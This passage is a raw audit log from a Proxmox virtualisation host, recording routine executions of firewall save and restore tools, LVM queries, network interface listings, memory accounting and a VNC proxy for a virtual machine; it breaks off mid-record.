{"@timestamp":1781964404234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964404.234:60864): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105194,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.194:64183): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964399689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964399.689:60863): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965105192,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.192:64182): argc=1 a0=\"date\""} {"@timestamp":1781964399688,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964399.688:60862): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965105188,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.188:64180): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964399687,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964399.687:60861): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965105182,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.182:64179): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964399225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964399.225:60860): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105174,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.174:64178): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964399225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964399.225:60859): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105170,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.170:64177): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964399225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964399.225:60858): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105162,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.162:64176): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964399217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964399.217:60857): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105154,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.154:64175): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964399217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964399.217:60856): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965104486,"@rawstring":"node=pve type=EXECVE msg=audit(1781965104.486:64174): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964399217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964399.217:60855): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965104457,"@rawstring":"node=pve type=EXECVE msg=audit(1781965104.457:64173): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964395591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.591:60854): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965101787,"@rawstring":"node=pve type=EXECVE msg=audit(1781965101.787:64172): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964395587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.587:60853): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965101781,"@rawstring":"node=pve type=EXECVE msg=audit(1781965101.781:64169): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964395587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.587:60852): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965096772,"@rawstring":"node=pve type=EXECVE msg=audit(1781965096.772:64166): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964395587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.587:60851): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965096765,"@rawstring":"node=pve type=EXECVE msg=audit(1781965096.765:64163): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964395583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.583:60850): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965095142,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.142:64160): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964395577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.577:60849): proctitle=\"ip6tables-save\""} {"@timestamp":1781965095138,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.138:64159): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964395570,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.570:60848): proctitle=\"iptables-save\""} {"@timestamp":1781965095137,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.137:64158): argc=1 a0=\"date\""} {"@timestamp":1781964395564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.564:60847): proctitle=\"ip6tables-save\""} {"@timestamp":1781965095133,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.133:64156): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964395558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.558:60846): proctitle=\"iptables-save\""} {"@timestamp":1781965095126,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.126:64155): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964395554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.554:60845): proctitle=\"ebtables-restore\""} {"@timestamp":1781965095120,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.120:64154): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964395552,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.552:60844): proctitle=\"ebtables-restore\""} {"@timestamp":1781965095112,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.112:64153): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964395547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.547:60843): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965095106,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.106:64152): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964395542,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.542:60842): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965095102,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.102:64150): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964395538,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.538:60841): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965095096,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.096:64149): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964395532,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.532:60840): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965095092,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.092:64148): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964395529,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.529:60839): proctitle=697073657400726573746F7265"} {"@timestamp":1781965095086,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.086:64147): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964395522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.522:60838): proctitle=\"ip6tables-save\""} {"@timestamp":1781965095082,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.082:64146): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964395517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.517:60837): proctitle=\"iptables-save\""} {"@timestamp":1781965095076,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.076:64145): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964395513,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.513:60836): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965095070,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.070:64144): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964395510,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.510:60835): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965095064,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.064:64143): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964395509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.509:60834): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965095060,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.060:64142): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964395509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.509:60833): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965095056,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.056:64141): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964395505,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.505:60832): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965095054,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.054:64140): argc=1 a0=\"date\""} {"@timestamp":1781964395499,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.499:60831): proctitle=\"ip6tables-save\""} {"@timestamp":1781965095052,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.052:64138): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964395493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.493:60830): proctitle=\"iptables-save\""} {"@timestamp":1781965095043,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.043:64137): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964395488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.488:60829): proctitle=69707365740073617665"} {"@timestamp":1781965095035,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.035:64136): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964395482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.482:60828): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965095031,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.031:64135): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964395475,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964395.475:60827): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965095023,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.023:64134): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964394761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964394.761:60826): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965095010,"@rawstring":"node=pve type=EXECVE msg=audit(1781965095.010:64133): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964394737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964394.737:60825): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965094351,"@rawstring":"node=pve type=EXECVE msg=audit(1781965094.351:64132): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964394209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964394.209:60824): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965094324,"@rawstring":"node=pve type=EXECVE msg=audit(1781965094.324:64131): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964394209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964394.209:60823): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965091757,"@rawstring":"node=pve type=EXECVE msg=audit(1781965091.757:64130): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964394208,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964394.208:60822): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965091750,"@rawstring":"node=pve type=EXECVE msg=audit(1781965091.750:64127): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964394202,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964394.202:60821): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965086741,"@rawstring":"node=pve type=EXECVE msg=audit(1781965086.741:64124): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964394202,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964394.202:60820): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965086733,"@rawstring":"node=pve type=EXECVE msg=audit(1781965086.733:64121): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964394202,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964394.202:60819): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965085997,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.997:64118): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964389183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964389.183:60818): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965085995,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.995:64117): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964389183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964389.183:60817): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965085993,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.993:64116): argc=1 a0=\"date\""} {"@timestamp":1781964389183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964389.183:60816): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965085987,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.987:64114): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964389162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964389.162:60815): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965085981,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.981:64113): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964389162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964389.162:60814): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965085975,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.975:64112): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964389162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964389.162:60813): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965085967,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.967:64111): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964385462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.462:60812): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965085960,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.960:64110): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964385459,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.459:60811): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965085955,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.955:64108): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964385457,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.457:60810): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965085951,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.951:64107): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964385457,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.457:60809): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965085945,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.945:64106): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964385453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.453:60808): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965085938,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.938:64105): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964385446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.446:60807): proctitle=\"ip6tables-save\""} {"@timestamp":1781965085931,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.931:64104): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964385440,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.440:60806): proctitle=\"iptables-save\""} {"@timestamp":1781965085927,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.927:64103): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964385433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.433:60805): proctitle=\"ip6tables-save\""} {"@timestamp":1781965085921,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.921:64102): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964385427,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.427:60804): proctitle=\"iptables-save\""} {"@timestamp":1781965085913,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.913:64101): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964385424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.424:60803): proctitle=\"ebtables-restore\""} {"@timestamp":1781965085910,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.910:64100): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964385422,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.422:60802): proctitle=\"ebtables-restore\""} {"@timestamp":1781965085906,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.906:64099): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964385418,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.418:60801): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965085906,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.906:64098): argc=1 a0=\"date\""} {"@timestamp":1781964385413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.413:60800): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965085901,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.901:64096): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964385408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.408:60799): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965085895,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.895:64095): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964385403,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.403:60798): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965085887,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.887:64094): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964385397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.397:60797): proctitle=697073657400726573746F7265"} {"@timestamp":1781965085881,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.881:64093): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964385391,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.391:60796): proctitle=\"ip6tables-save\""} {"@timestamp":1781965085874,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.874:64092): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964385385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.385:60795): proctitle=\"iptables-save\""} {"@timestamp":1781965085864,"@rawstring":"node=pve type=EXECVE msg=audit(1781965085.864:64091): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964385381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.381:60794): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965084218,"@rawstring":"node=pve type=EXECVE msg=audit(1781965084.218:64090): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964385379,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.379:60793): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965084165,"@rawstring":"node=pve type=EXECVE msg=audit(1781965084.165:64089): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964385378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.378:60792): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965083481,"@rawstring":"node=pve type=EXECVE msg=audit(1781965083.481:64088): argc=4 a0=\"/usr/bin/perl\" a1=\"/usr/sbin/qm\" a2=\"vncproxy\" a3=\"877\""} {"@timestamp":1781964385378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.378:60791): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965083409,"@rawstring":"node=pve type=EXECVE msg=audit(1781965083.409:64087): argc=3 a0=\"/bin/ss\" a1=\"-Htln\" a2=73706F7274203D203A35393030"} {"@timestamp":1781964385374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.374:60790): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965081723,"@rawstring":"node=pve type=EXECVE msg=audit(1781965081.723:64086): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964385367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.367:60789): proctitle=\"ip6tables-save\""} {"@timestamp":1781965081713,"@rawstring":"node=pve type=EXECVE msg=audit(1781965081.713:64083): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964385361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.361:60788): proctitle=\"iptables-save\""} {"@timestamp":1781965076706,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.706:64080): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964385356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.356:60787): proctitle=69707365740073617665"} {"@timestamp":1781965076697,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.697:64077): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964385350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.350:60786): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965076449,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.449:64074): argc=6 a0=\"/sbin/tc\" a1=\"qdisc\" a2=\"del\" a3=\"dev\" a4=\"tap877i0\" a5=\"root\""} {"@timestamp":1781964385344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964385.344:60785): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965076444,"@rawstring":"node=pve type=EXECVE 